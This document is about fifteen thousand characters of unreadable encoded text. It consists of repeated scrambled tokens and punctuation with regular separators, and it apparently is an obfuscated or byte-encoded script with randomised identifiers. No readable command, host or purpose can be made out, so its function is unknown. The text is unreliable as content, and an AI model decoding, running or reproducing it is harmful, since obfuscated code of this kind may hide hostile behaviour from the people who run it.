EK^NHCBNJO_E[sZ]V\MU]NVK EA_KJ\D&&W&&M^DJOBOGX^YI&Q&JYGAUY[CJM@_I&EJB[OJZUYNWVD]ENUDBDF]EIG^CB^VVD]ENUDB	&&&&EJ&VUAG_IICHXNND@UGH@\HB@ EA_KJ\D&PPEK^NHCBNJO_EK^NHCBNJO_ EA_KJ\D&PPNND@UGH@\HB@VUAG_IICHX EA_KJ\D&JYGAUY[CX^YI&Q&EJ^VUU_FGJVEO

FsINGVTZZK[]

DODY\UEGDss

JYGAUY[C

M^DJOBOG^IXY^B&&&&M^AJV]_ED&AFA^I_EGNKYZEA_KJ\D&EJ^VUU_FGJVEOW&EJVUAG_IICHXE[sZ]V\MU]NVK EA_KJ\D \H\UNENDVCBGM^AJV]_EDEK^NHCBNJO_pB \H\UNENDVCBGwq&AFA^I_EGNKYZE[sZ]V\MU]NVKNND@UGH@\HB@  EA_KJ\D&&&EJNND@UGH@\HB@AFA^I_EGNKYZ^IXY^B&EJVUAG_IICHXNND@UGH@\HB@ AFA^I_EGNKYZ @UXGV_NAZTM^AJV]_EDpBVUAG_IICHXpB @UXGV_NAZTwq&AFA^I_EGNKYZNND@UGH@\HB@VUAG_IICHX  AFA^I_EGNKYZ&EJNND@UGH@\HB@AFA^I_EGNKYZ^IXY^B&Q&EJFsINGVTZZK[]

EK^NHCBNJO_NND@UGH@\HB@ AFA^I_EGNKYZW&AFA^I_EGNKYZEK^NHCBNJO_E[sZ]V\MU]NVK NND@UGH@\HB@HIJEBI{|sxia|she~ HIJEBIH{|socbxibxshe~{|socbxibxshe~mn|mxd[\OCBXIBX_OsXA\pB AFA^I_EGNKYZ &EJEK^NHCBNJO_AFA^I_EGNKYZ^IXY^B&&Q&&&EJDODY\UEGDss

VUAG_IICHXEK^NHCBNJO_ AFA^I_EGNKYZW&AFA^I_EGNKYZEK^NHCBNJO_E[sZ]V\MU]NVK E[sZ]V\MU]NVKHIJEBI{|somodi X^YIos{opB AFA^I_EGNKYZ &EJVUAG_IICHXAFA^I_EGNKYZ^IXY^B&QI@_IEJM^DJOBOGW&AFA^I_EGNKYZVUAG_IICHXE[sZ]V\MU]NVK NND@UGH@\HB@HIJEBI{|somodi X^YIos{opB AFA^I_EGNKYZ &EJEK^NHCBNJO_AFA^I_EGNKYZ^IXY^B&Q&&EJJYGAUY[CW&AFA^I_EGNKYZEK^NHCBNJO_EK^NHCBNJO_  AFA^I_EGNKYZ&EJNND@UGH@\HB@AFA^I_EGNKYZ^IXY^B&EJE[sZ]V\MU]NVKEK^NHCBNJO_ AFA^I_EGNKYZW&AFA^I_EGNKYZVUAG_IICHXVUAG_IICHX VUAG_IICHXHIJEBI{|shinyk X^YIpBHIJEBI{|shinyks`ck X^YIpBHIJEBI{|shinykshe|`mu JM@_IpB AFA^I_EGNKYZ &&EJEK^NHCBNJO_AFA^I_EGNKYZ^IXY^B&&&Q&Q&EJAFA^I_EGNKYZEA_KJ\D^IXY^B&EJZVHB^HE]OsNOVNYAFA^I_EGNKYZ^IXY^B&EJDODY\UEGDss

BOsCYCXMMVEHI]ACMJAAN\ EA_KJ\DW&&&CGTNsH^OGY_HMU@YVUAG_IICHX E[sZ]V\MU]NVK&AFA^I_EGNKYZE[sZ]V\MU]NVKE[sZ]V\MU]NVK VUAG_IICHX AFA^I_EGNKYZ &EJNND@UGH@\HB@AFA^I_EGNKYZPPAFA^I_EGNKYZEA_KJ\D^IXY^B&EJZVHB^HE]OsNOVNYAFA^I_EGNKYZ^IXY^B&Q&&&sHAMTJTM_^NNlJE@I\I^A_HI]ACMJAAN\&sHAMTJTM_^NNsHAMTJTM_^NNJM@_ITMTMsHAMTJTM_^NN
&_KUFO]_ClNND@UGH@\HB@HI]ACMJAAN\&@[[C\sDM^lEK^NHCBNJO_E[sZ]V\MU]NVKHI]ACMJAAN\ NND@UGH@\HB@&EJ@[[C\sDM^JM@_I^IXY^B&EJlNND@UGH@\HB@@[[C\sDM^ AFA^I_EGNKYZE[sZ]V\MU]NVKAFA^I_EGNKYZW&lNND@UGH@\HB@@[[C\sDM^&^IXY^B&Q&lNND@UGH@\HB@@[[C\sDM^ sHAMTJTM_^NN&EJlE[sZ]V\MU]NVK@[[C\sDM^ HI]ACMJAAN\W&JEBEXI_ODIHY@I^&&&lNND@UGH@\HB@@[[C\sDM^&^IXY^B&Q&EJ_KUFO]_ClEK^NHCBNJO_HI]ACMJAAN\ _KUFO]_C&EJEK^NHCBNJO_NND@UGH@\HB@lC\OMODIsEBZM@EHMXIHI]ACMJAAN\ X^YI&EJVUAG_IICHXEK^NHCBNJO_ M^AJV]_ED _F_DHNZYA^ZW&JC^IMODEK^NHCBNJO__F_DHNZYA^ZwqM_Y^]EVEGTJW&EJE[sZ]V\MU]NVKY^]EVEGTJ EK^NHCBNJO_

lE[sZ]V\MU]NVKY^]EVEGTJlVUAG_IICHXY^]EVEGTJ&Q&Q&EJE[sZ]V\MU]NVKNND@UGH@\HB@

E[sZ]V\MU]NVKE[sZ]V\MU]NVK M^AJV]_ED DUBUEENDEW&JC^IMODE[sZ]V\MU]NVKDUBUEENDEwqM_\ADE\^]BW&EJEK^NHCBNJO_E[sZ]V\MU]NVK \ADE\^]BlHI@IXIsC\XECB\ADE\^]B&&&Q&Q&Q&JYBOXECBA]OT@^C\^Y&W&&&&EJHIJEBIHVUAG_IICHX^IXY^B&&&&AMHFTNC[HIJEBIHEK^NHCBNJO_{|ays|`ykebshe~{|socbxibxshe~VUAG_IICHX&[^Xs[XGFKUDJGUM^^MU&EJNND@UGH@\HB@EK^NHCBNJO_W&EJlE[sZ]V\MU]NVKAMHFTNC[JC^IMODM^^MUlNND@UGH@\HB@AMHFTNC[VUAG_IICHXM_Z^D[MNKO_[^Xs[XGFKUDJGUwqZ^D[MNKO_&EJHIJEBIHE[sZ]V\MU]NVK

lVUAG_IICHX{|s|`ykebshe~JC^IMODM^^MUlEK^NHCBNJO_{|s|`ykebshe~E[sZ]V\MU]NVKM_Z^D[MNKO_[^Xs[XGFKUDJGUwqZ^D[MNKO_&Q&\TMHF_U]MBCKHIJEBIHE[sZ]V\MU]NVKmn|mxd&GCNYGN]{|socbxibxshe~E[sZ]V\MU]NVKVUAG_IICHXEK^NHCBNJO_\TMHF_U]MBCKE[sZ]V\MU]NVK  E[sZ]V\MU]NVKVUAG_IICHXNND@UGH@\HB@\TMHF_U]MBCKEK^NHCBNJO_  rNND@UGH@\HB@&&&EJlEK^NHCBNJO_GCNYGN][^Xs[XGFKUDJGUwqGCNYGN]&JC^IMOD[^Xs[XGFKUDJGUM_Z^D[MNKO_W&_KUFO]_ClNND@UGH@\HB@Z^D[MNKO_&&&&EJ_KUFO]_CPP_KUFO]_C	W&&&&MT]EVJ^DNlE[sZ]V\MU]NVKZ^D[MNKO_&EJMT]EVJ^DNPPMT]EVJ^DNPPMT]EVJ^DNOCBXEBYI&Q&{|oCZI^n@COG\@MOIDC@HI^N@Y^&&K^TJUFMMBZFlNND@UGH@\HB@Z^D[MNKO_&{|aIHEMxITXn@COGYBHIOEHMN@IOCBX^MZM^EMBX&&VFIJFV_NZI@ElNND@UGH@\HB@^_NIVAZ&EJNND@UGH@\HB@K^TJUFMMBZF

NND@UGH@\HB@VFIJFV_NZI@E

K^TJUFMMBZFVFIJFV_NZI@EOCBXEBYI&ZOTX_VClE[sZ]V\MU]NVKZ^D[MNKO_ JM@_I BY@@  &EJEK^NHCBNJO_ZOTX_VCPPEK^NHCBNJO_ZOTX_VC E[sZ]V\MU]NVKJM@_IOCBXEBYIGU_]YNKYKDJFIC@@GU_]YNKYK&&&&EJNND@UGH@\HB@NND@UGH@\HB@ ZOTX_VC AUV]\XT[OXTOCBXEBYI&&&EJZI^_ECBsOCA\M^IAUV]\XT[OXTwq [KNGMVXV[KCMBM[JX OCBXEBYI&&&GF_]GFBG@T]\Y_KT]GKMOIK^\UFKEK@Z^D[MNKO_&EJGF_]GFBG@T]\JM@_IW&&&&CGTNsH^OGY_HMU@YNND@UGH@\HB@ NND@UGH@\HB@VUAG_IICHXZ^D[MNKO_&OCBXEBYI&Q&IBMN@I_GC@IAJC^{|zI^_In@COG&&&&EJGF_]GFBG@T]\X^YIW&&&&EJD^@ZVFN[YsG\Z^D[MNKO_ Z^D[MNKO_E[sZ]V\MU]NVKW&EJEK^NHCBNJO_E[sZ]V\MU]NVKlC\OMODIsEBZM@EHMXIZ^D[MNKO_ X^YI&&Q&lVUAG_IICHXE[sZ]V\MU]NVKZ^D[MNKO_NND@UGH@\HB@NND@UGH@\HB@Z^D[MNKO_ NND@UGH@\HB@&&OCBXEBYI&Q&lE[sZ]V\MU]NVKZ^D[MNKO_&lNND@UGH@\HB@EK^NHCBNJO_Z^D[MNKO_NND@UGH@\HB@NND@UGH@\HB@Z^D[MNKO_ VUAG_IICHX&EJNND@UGH@\HB@NND@UGH@\HB@lC\OMODIsEBZM@EHMXIZ^D[MNKO_ X^YI&Q&&&VOTMKDUZCE@I&UBM^FB\Z{|socbxibxshe~E[sZ]V\MU]NVK&&&&EJlEK^NHCBNJO_UBM^FB\Z

E[sZ]V\MU]NVKEK^NHCBNJO_W&&&&JC^IMODM^^MUlNND@UGH@\HB@UBM^FB\ZNND@UGH@\HB@M_ZAUUAHMZW&EJlE[sZ]V\MU]NVKZAUUAHMZPPlVUAG_IICHXZAUUAHMZOCBXEBYI&XO\XXJsCYNXXKDlE[sZ]V\MU]NVKZAUUAHMZ&EJXO\XXJsCYNXXKDPPXO\XXJsCYNXXKDTHMTIHOCBXEBYI&O]VEBFGZIFlNND@UGH@\HB@ZAUUAHMZ&EJE[sZ]V\MU]NVKO]VEBFGZIFOCBXEBYI&EJEK^NHCBNJO_O]VEBFGZIF NND@UGH@\HB@JM@_I

EK^NHCBNJO_O]VEBFGZIF NND@UGH@\HB@JM@_I

EK^NHCBNJO_O]VEBFGZIF EK^NHCBNJO_JM@_IOCBXEBYI&EJVNYYT@@O]VEBFGZIFOCBXEBYI&&&KsCCBXMZVJNZsF\^F\U]HEO]VEBFGZIF&EJNND@UGH@\HB@KsCCBXMZVJN

KsCCBXMZVJNO]VEBFGZIFW&_N]JNVYOBBZ_TFET\ZAUUAHMZ KsCCBXMZVJN&&&&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKlC\OMODIsEBZM@EHMXIZAUUAHMZ X^YI&Q&Q&Q&\@sBBB_[BAV_YX{|socbxibxshe~NND@UGH@\HB@&\@sBBB_[BAV_YX{|socbxibxshe~NND@UGH@\HB@&&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVK

NND@UGH@\HB@NND@UGH@\HB@

VUAG_IICHXNND@UGH@\HB@WG\BKZNBCC[D_CJ@MXG\BKZNBC	&sCBC_I\\NII@T^YDmn|mxdNND@UGH@\HB@ &Z]IHGM_MlKIXsC\XECBsCB &EJNND@UGH@\HB@Z]IHGM_M

Z]IHGM_MW&&BZI[]DAMFVJVUAG_IICHXZ]IHGM_M X^YI&EJEK^NHCBNJO_BZI[]DAMFVJ

KG[JDUITEMI_BZI[]DAMFVJlHI@IXIsC\XECBsCB&Q&ZOEJsG^FEC@EK^NHCBNJO_E[sZ]V\MU]NVKDNEYZF[K[Y^VBGssTVUAG_IICHX &EJE[sZ]V\MU]NVKZOEJsG^FEC@

ZOEJsG^FEC@

EK^NHCBNJO_ZOEJsG^FEC@PPEK^NHCBNJO_EK^NHCBNJO_

N^K^OUAND]XIVZOEJsG^FEC@PP[N^A@[FOH^]ZTZOEJsG^FEC@W&&&EJVUAG_IICHXE[sZ]V\MU]NVKFVs@@VVXUVM^H[BGAZNND@UGH@\HB@  E[sZ]V\MU]NVK&Q&Q&Q&JYBOXECB@GJZNOEK]OOO_&WsAUsUK_IXVY|d|samfc~szi~ecbYsMI_sO[UVGsAUsUK_IXVY&&X^UW&EJHIJEBIHEK^NHCBNJO_^IXY^B&EJIA\XUk`cnm`wNND@UGH@\HB@qW&&&k`cnm`wNND@UGH@\HB@q&CGTNsH^OGY_HMU@YVUAG_IICHX E[sZ]V\MU]NVK&Q&{|n@COGx^MB_JC^A_IT\CBIBXEM@^EBKNYJJI^&&&&EJIA\XUk`cnm`wEK^NHCBNJO_q^IXY^B&k`cnm`wEK^NHCBNJO_qX^YI&EJE__IXskixwE[sZ]V\MU]NVKq

EK^NHCBNJO_VUAG_IICHX

E[sZ]V\MU]NVKVUAG_IICHXW&&DsYJKTN_lKIXsC\XECBEK^NHCBNJO_ M^^MU&N@sBZJM@_I&EJEK^NHCBNJO_DsYJKTN_WY_MMA_OJ[@OJX^@MANCXY_MMA_OJ[&EJIA\XUDsYJKTN_wXq

NND@UGH@\HB@EBXDsYJKTN_wE[sZ]V\MU]NVKqN@sBZX^YI&&&EJN@sBZ

IA\XUDsYJKTN_wNND@UGH@\HB@q

E[sZ]V\MU]NVKDsYJKTN_wVUAG_IICHXqW&JC^IMODDsYJKTN_wVUAG_IICHXqM_sOEW&&EJEK^NHCBNJO_sOE

EK^NHCBNJO_EBXsOEwEK^NHCBNJO_qW&N@sBZX^YI&N^IMG&Q&Q&Q&Q&EJN@sBZEK^NHCBNJO_EK^NHCBNJO_&Q&EJVAIHJFNZXOVAK[^_NIVAZ^IXY^B&A]OT@^C\^Y&C[_KAMDB[G^_NIVAZ [KNGMVXV[KCMBM[JX&EJMKDZUEB_BHKW&&&&NOX]CsVTs]KEGsU@A&_HBTGG^GV^^]OKs_&^IXY^B&XD^IMH_MJIJMOXC^U&&&Q&ZJKVHJYUH]T_YAHOZXYJM&^ZOUNVA\C[[M^^MU&&^_NIVAZ &ZJKVHJNND@UGH@\HB@ &&A^[JDNC]J[AFCO@FFZ&JC^IMODA^[JDNC]M_FE[J^XHBOEUYXW&&EJlEK^NHCBNJO_FE[J^XHBOEUYX^ZOUNVA\C[[wqFE[J^XHBOEUYX&&Q&CNE\Z^[M^^MU&EJ@HA[MKF]JN[TW&Z[EsIN@UZ@C_I\\NII@T^YDmn|mxdEK^NHCBNJO_ E[sZ]V\MU]NVKAUXGUJGKKTHTIs_UAVGIs@AUXGUJGKK	&CNE\Z^[wEK^NHCBNJO_mn|mxdNND@UGH@\HB@qZ[EsIN@UZ@&CNE\Z^[wE[sZ]V\MU]NVKZJKVHJEK^NHCBNJO_qZ[EsIN@UZ@&Q&^ZCC_s^sDC]YEK^NHCBNJO_E[sZ]V\MU]NVKlEK^NHCBNJO_EK^NHCBNJO_JM@_I&&EJE[sZ]V\MU]NVK^ZCC_s^sDC]Y

^ZCC_s^sDC]YW&U^V]\H@NEBXKIXsC\XECBVUAG_IICHX &EJU^V]\H@NPPEK^NHCBNJO_U^V]\H@NW&&&CCIEAUGVC_I\\NII@T^YDmn|mxdNND@UGH@\HB@ VUAG_IICHX&CNE\Z^[wEK^NHCBNJO_EK^NHCBNJO_mn|mxd EK^NHCBNJO_^ZCC_s^sDC]YqCCIEAUGV&CNE\Z^[wVUAG_IICHXZJKVHJ^ZCC_s^sDC]YqCCIEAUGV&Q&Q&&s_JXMMC@@E[K\A_[sI\&EJlVUAG_IICHXs_JXMMC@wqCNE\Z^[wEK^NHCBNJO_s_JXMMC@wqqE[sZ]V\MU]NVKs_JXMMC@wq&sGD]^[YMZlKIXsC\XECBVUAG_IICHX M^^MU&EJEK^NHCBNJO_sGD]^[YMZsGD]^[YMZM^^MU&^^DYIH@MD^[HNJM@_I&JC^IMOD^ZOUNVA\C[[M_B@TGFOIWNIDAN^EJ[EAN]E_EVIEUZNIDAN^EJ[E&UMGZG@EHN^XUlE[sZ]V\MU]NVKB@TGFOI&HsGsIKYUMGZG@EHN^XUUMGZG@EHN^XUwNND@UGH@\HB@qPUMGZG@EHN^XUwVUAG_IICHXq&@\DEUTYFC\\\E__IXsGD]^[YMZwB@TGFOIqsGD]^[YMZwB@TGFOIq&EJHsGsIKY@\DEUTYFC\\\OCBXEBYI&EJE[sZ]V\MU]NVKEK^NHCBNJO_ @\DEUTYFC\\\ EOKG]AGEI]D

E[sZ]V\MU]NVK@\DEUTYFC\\\  VUAG_IICHXEOKG]AGEI]DwqHsGsIKY

NND@UGH@\HB@EBXEOKG]AGEI]DwqOCBXEBYI&&&&^^DYIH@MD^[HNX^YI&N^IMG&&&Q&&EJ^^DYIH@MD^[HNW&&&&JC^IMODCNE\Z^[M_GIUUHYZO@BGN]W&&&HsGsIKYNDMYUM\ZC\B^VUAG_IICHXGIU r UHYZO@BGN]&@\DEUTYFC\\\E__IXsGD]^[YMZwGIUqsGD]^[YMZwGIUq&EJHsGsIKY@\DEUTYFC\\\OCBXEBYI&EJNND@UGH@\HB@EK^NHCBNJO_ @\DEUTYFC\\\ EOKG]AGEI]D

NND@UGH@\HB@@\DEUTYFC\\\  EK^NHCBNJO_EOKG]AGEI]DwqHsGsIKY

EK^NHCBNJO_EBXEOKG]AGEI]DwqOCBXEBYI&^^DYIH@MD^[HNX^YI&N^IMG&&&&Q&Q&EB^OHFZsJFNND@UGH@\HB@^_NIVAZ EK^NHCBNJO_&&]J]\\OID[BZJKVHJVUAG_IICHXEB^OHFZsJFEB^OHFZsJFEK^NHCBNJO_&FsVGV][JM[VZNOIHC@s@&EJlEK^NHCBNJO_]J]\\OID[BPPEBXlE[sZ]V\MU]NVK]J]\\OID[B^^DYIH@MD^[HNX^YI&EJFsVGV][JM

lNND@UGH@\HB@FsVGV][JM^^DYIH@MD^[HNX^YI&EJ^^DYIH@MD^[HN

NND@UGH@\HB@NND@UGH@\HB@W&lUEI@HYBEJEOMXECB&&NTXNVEB^OHFZsJFEB^OHFZsJFNND@UGH@\HB@&&&&EUV^KB_HFAKIXsC\XECBVUAG_IICHX M^^MU&EJEK^NHCBNJO_EUV^KB_HFAPPEK^NHCBNJO_NTXNV EUV^KB_HFA X^YI^^DYIH@MD^[HNX^YI&&&&Q&EJ^^DYIH@MD^[HN^IXY^B&&&EJOAEFTH@JAB[EK^NHCBNJO_^IXY^B&X^UW&NE[\^KDFYJNX[B&&&KODN@K_UAMZVAZDKDA_BDFHT|d|samfc~szi~ecbVC^EZs^YMOTDA_BDFHT&&_HBTGG^GV^^]OKs_&HJTC@UCF@KHIZNE_&BI_OXBsZVU&NOX]CsVTs]KEGsU@A&&OOKMGVTA\E@A\M@Y&NEEFF]GJGABCO\M_\M\BAYUNAEsHZ^XTMM_\M\BAYU&JNFMCEGMTT\HJCEIUX]]M&CGE_G@ODO@EDUTUHNs_]VTM]T&As]sVDHOOFM^^MU&&JC^IMOD^ZOUNVA\C[[M_B@TGFOIW&G_MVUC_GX@IB@TGFOIZJKVHJNND@UGH@\HB@

JNFMCEPPVUAG_IICHXB@TGFOI NND@UGH@\HB@

CGE_G@ODO@EDUTU&UMGZG@EHN^XUlEK^NHCBNJO_B@TGFOI&&&&EJUMGZG@EHN^XUW&BIKMXEZIHIJEBEXIFCY^BM@&&As]sVDHOOFwB@TGFOIqUMGZG@EHN^XUwVUAG_IICHXqPUMGZG@EHN^XUwEK^NHCBNJO_qG_MVUC_GX@IVUAG_IICHXVUAG_IICHX&Q&Q&JC^IMODCNE\Z^[M_GIUUHYZO@BGN]W&GZDN[EATE_NDMYUM\ZC\B^E[sZ]V\MU]NVKGIU TT UHYZO@BGN]&EJGZDN[EATE_PPEK^NHCBNJO_GZDN[EATE_ NND@UGH@\HB@GZDN[EATE_EK^NHCBNJO_EK^NHCBNJO_&As]sVDHOOFwGIUqGZDN[EATE_&Q&lY\HMXIsC\XECBNND@UGH@\HB@ As]sVDHOOF E[sZ]V\MU]NVK&&QJEBM@@UW&K_DAMCNEUO^VUAG_IICHX&&&&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&&&&Q&&&JYBOXECBNDMYUM\ZC\B^B@TGFOI UHYZO@BGN]&W&&UMGZG@EHN^XUlEK^NHCBNJO_B@TGFOI&EJUMGZG@EHN^XU^IXY^B&HsGsIKYUMGZG@EHN^XUwVUAG_IICHXqPUMGZG@EHN^XUwNND@UGH@\HB@q&&EJUMGZG@EHN^XUwEK^NHCBNJO_q^IXY^BNND@UGH@\HB@HsGsIKY&&EA_KJ\DlNND@UGH@\HB@B@TGFOI&&^IXY^BHsGsIKYPE[sZ]V\MU]NVKEA_KJ\D

NND@UGH@\HB@EA_KJ\D UHYZO@BGN]JM@_I&Q&&&JYBOXECB^TUTZZ_A@Z]GAsVN&W&s\ZNND@UGH@\HB@E[sZ]V\MU]NVKKIXsC\XECBEK^NHCBNJO_ &BCsO_OKsDDG@CCYK&sEOI]HXTBEEYE[sZ]V\MU]NVKNND@UGH@\HB@KIXsC\XECBE[sZ]V\MU]NVK &&EJsEOI]HXTBEEYs\ZlHI@IXIsC\XECBE[sZ]V\MU]NVK&&Q&&&JYBOXECBBCsO_OKsDDG@CCYK&WDAVZDIEPJ^CECBUM]DAVZDIEr&&&&X^UW&EJHIJEBIHE[sZ]V\MU]NVK^IXY^B&ZJKVHJYUH]T_YAHOZXYJMXXCB|d|sebxsamt|d|sebxsamtK]IKXXCB&IFGYIVMOIB^J[AXXJCU]ZNBNKE&]JKJ\JD^^C_I\\NII@T^YDmn|mxdEK^NHCBNJO_ EK^NHCBNJO_&@EOZsHE\C_I\\NII@T^YDmn|mxdEK^NHCBNJO_ NND@UGH@\HB@&NINKZJIHC_I\\NII@T^YDmn|mxdE[sZ]V\MU]NVK EK^NHCBNJO_&FM]]\GMAC_I\\NII@T^YDmn|mxdVUAG_IICHX TTVUAG_IICHX&]GYCXKNADGTN\C_I\\NII@T^YDmn|mxdNND@UGH@\HB@ TTVUAG_IICHX&TUBF_OC[_NND@UGH@\HB@C_I\\NII@T^YDmn|mxdK &ZHJs_BEXKM^^MU&ZJKVHJEK^NHCBNJO_E[sZ]V\MU]NVK &ZJKVHJEK^NHCBNJO_VUAG_IICHX &&JC^IMODZHJs_BEXKM_B@TGFOI\^IJETW&EJlVUAG_IICHXB@TGFOIOCBXEBYI&EA_KJ\DlNND@UGH@\HB@B@TGFOI&&&&EJEA_KJ\DJM@_IOCBXEBYI&&&@^VYM^MXDITNND@UGH@\HB@\^IJETEK^NHCBNJO_\^IJETE[sZ]V\MU]NVK&ANGVNsVsNBVUAG_IICHX@^VYM^MXDIT  EA_KJ\D&EJANGVNsVsNBEA_KJ\D_N]JNVYOBBZ_TFET\B@TGFOI ANGVNsVsNB&&&&Q&_DFVHX_ZJKVHJEK^NHCBNJO_&EJlE[sZ]V\MU]NVK_DFVHX_W&BIHKKUMMlE[sZ]V\MU]NVK_DFVHX_&EJNND@UGH@\HB@BIHKKUMM

BIHKKUMMW&&&EJNND@UGH@\HB@NND@UGH@\HB@ VUAG_IICHXBIHKKUMM  PPVUAG_IICHXBIHKKUMM NND@UGH@\HB@W&]]XI^s@\F[YJ_V_ZEOI_DFVHX_ &EU@^_Y^]OZUI]B_DFVHX_&QI@_IW&_I^EM@EVMN@IX^MB_JC^AI^&&MYB[MNFOHO_OVUAG_IICHXNND@UGH@\HB@  BIHKKUMM&EJNND@UGH@\HB@MYB[MNFOHO_O

MYB[MNFOHO_OBIHKKUMM_N]JNVYOBBZ_TFET\_DFVHX_ MYB[MNFOHO_O&YB_IXMYB[MNFOHO_O&Q&Q&YB_IXBIHKKUMMZUUIXTHPKN[TZN]sFXZUUIXTHr&Q&\KENNHE[sZ]V\MU]NVK^_NIVAZNND@UGH@\HB@Ns\HI]VsATTMKN_\FONs\HI]VsA	&XYFDMDCHIEMGHIJEBIHE[sZ]V\MU]NVK{|socbxibxshe~E[sZ]V\MU]NVK\KENNH&TsIEAMI[TIM^^MU&ZJKVHJ]JKJ\JD^^ &ZJKVHJ@EOZsHE\ &ZJKVHJNINKZJIH &IFGYIVMOIB^JFM]]\GMA &IFGYIVMOIB^J]GYCXKNADGTN\ &&IFGYIVMOIB^J@EOZsHE\ &IFGYIVMOIB^JNINKZJIH &&&\KENNHFM]]\GMA &\KENNH]GYCXKNADGTN\ &\KENNH@EOZsHE\ &\KENNHNINKZJIH &XYFDMDCHIEMGFM]]\GMA &&&XYFDMDCHIEMG]GYCXKNADGTN\ &XYFDMDCHIEMG@EOZsHE\ &XYFDMDCHIEMGNINKZJIH &&Xs^[J]D]XU@E[K\A_[sI\&TsIEAMI[TIwqXs^[J]D]XUwq&TsIEAMI[TIwqXs^[J]D]XUwqEK^NHCBNJO_&YB_IXXs^[J]D]XU&EJE[sZ]V\MU]NVKNND@UGH@\HB@W&JC^IMODM^^MUlEK^NHCBNJO_ZJKVHJEK^NHCBNJO_]JKJ\JD^^M_DUsATsIEAMI[TIwqDUsA&JC^IMODM^^MUlEK^NHCBNJO_ZJKVHJVUAG_IICHX]JKJ\JD^^M_DUsATsIEAMI[TIwqDUsA&JC^IMODM^^MUlE[sZ]V\MU]NVKmn|mxdNND@UGH@\HB@TUBF_OC[_EK^NHCBNJO_M_@\FMC@TsIEAMI[TIwq@\FMC@&JC^IMODM^^MUlNND@UGH@\HB@ZJKVHJTUBF_OC[_EK^NHCBNJO_M_@\FMC@TsIEAMI[TIwq@\FMC@@s[M@]NV|d|samfc~szi~ecbMH\T@s[M@]NV&JC^IMODM^^MUlVUAG_IICHXIFGYIVMOIB^JTUBF_OC[_EK^NHCBNJO_M_@\FMC@TsIEAMI[TIwq@\FMC@&JC^IMODM^^MUlEK^NHCBNJO_\KENNHTUBF_OC[_VUAG_IICHXM_@\FMC@TsIEAMI[TIwq@\FMC@&JC^IMODM^^MUlNND@UGH@\HB@XYFDMDCHIEMGTUBF_OC[_E[sZ]V\MU]NVKM_@\FMC@TsIEAMI[TIwq@\FMC@&Q&DU^JDB[^UTsC_I\\NII@T^YDmn|mxdK &s\BsAZ_@M^^MUmn|mxdNND@UGH@\HB@ ZJKVHJ IFGYIVMOIB^J \KENNH XYFDMDCHIEMG&&&&JC^IMODs\BsAZ_@M_sKHW&{C^H|^I__OCAAMBH_\C_EXEZIHIJEBEXIOE\DI^_YEXI&&EJlE[sZ]V\MU]NVKsKH

lNND@UGH@\HB@sKHXFHN]]TNEBYCMsKHE[sZ]V\MU]NVKDU^JDB[^UTs [KNGMVXV[KCMBM[JX E[sZ]V\MU]NVK&Q&EJNND@UGH@\HB@VUAG_IICHXW&JC^IMODs\BsAZ_@M_sKHW&JC^IMODM^^MUVUAG_IICHX E[sZ]V\MU]NVK VUAG_IICHX E[sZ]V\MU]NVK NND@UGH@\HB@ E[sZ]V\MU]NVK EK^NHCBNJO_ VUAG_IICHX E[sZ]V\MU]NVKM_GKTHZDDZYKWFV\ZUJTMKNVTTIFXIAM_IFV\ZUJTMKNV	&JC^IMODM^^MUlNND@UGH@\HB@sKHGKTHZDDZYKM_H^@]XX]]AEJBETsIEAMI[TIwqH^@]XX]]AEJBE&&&&Q&JC^IMODM^^MUlNND@UGH@\HB@sKHE[sZ]V\MU]NVKM_UB[IIIOXXMB_MCMTsIEAMI[TIwqUB[IIIOXXMB_MCM&Q&&Q&YB_IXDU^JDB[^UTs s\BsAZ_@ sKH GKTHZDDZYK H^@]XX]]AEJBE UB[IIIOXXMB_MCM&&HTGAG_]FsHM^^MUmn|mxdVUAG_IICHX ZJKVHJNND@UGH@\HB@&JC^IMODHTGAG_]FsHM_GUAGHHTXW&EJlVUAG_IICHXGUAGHHTXOCBXEBYI&EA_KJ\DlNND@UGH@\HB@GUAGHHTXYVNCBTDV_A@_]YVNCB&EJEA_KJ\D

NND@UGH@\HB@EA_KJ\D E[sZ]V\MU]NVKJM@_IW&EA_KJ\DNND@UGH@\HB@EK^NHCBNJO_NND@UGH@\HB@@EOZsHE\ EK^NHCBNJO_ pB EA_KJ\D&EJNND@UGH@\HB@EA_KJ\DW&EA_KJ\DVUAG_IICHXE[sZ]V\MU]NVKE[sZ]V\MU]NVK@EOZsHE\ NND@UGH@\HB@ pB EA_KJ\D&&Q&EJE[sZ]V\MU]NVKEA_KJ\DW&EA_KJ\DE[sZ]V\MU]NVKNND@UGH@\HB@E[sZ]V\MU]NVK@EOZsHE\ VUAG_IICHX pB EA_KJ\DK^s\XDVIHE\[HCUEIKXK^s\XDVIHE\	&Q&EJNND@UGH@\HB@EA_KJ\D_N]JNVYOBBZ_TFET\GUAGHHTX EA_KJ\D&Q&Q&&&&^OAK^Kmn|mxdEK^NHCBNJO_&EJlNND@UGH@\HB@^OAK^KW&IYG@AGXXsJVUAG_IICHXmn|mxdE[sZ]V\MU]NVK&&EJlE[sZ]V\MU]NVKIYG@AGXXsJ^OAK^KIYG@AGXXsJ&&&&Q&EJlEK^NHCBNJO_^OAK^K

lE[sZ]V\MU]NVK^OAK^KW&s[OlE[sZ]V\MU]NVK^OAK^K^I\BMEGCEI^XENYGJD^I\BMEGCEI	&EJVUAG_IICHXs[O

E[sZ]V\MU]NVKs[O NND@UGH@\HB@JM@_IW&[sB\HYDFOJVUAG_IICHXVUAG_IICHX  s[O&EJEK^NHCBNJO_[sB\HYDFOJ

[sB\HYDFOJs[O

ZVHB^HE]OsNOVNY[sB\HYDFOJW&&&&XHTE]AJMVlE[sZ]V\MU]NVK^OAK^K&EJ_N]JNVYOBBZ_TFET\^OAK^K [sB\HYDFOJ

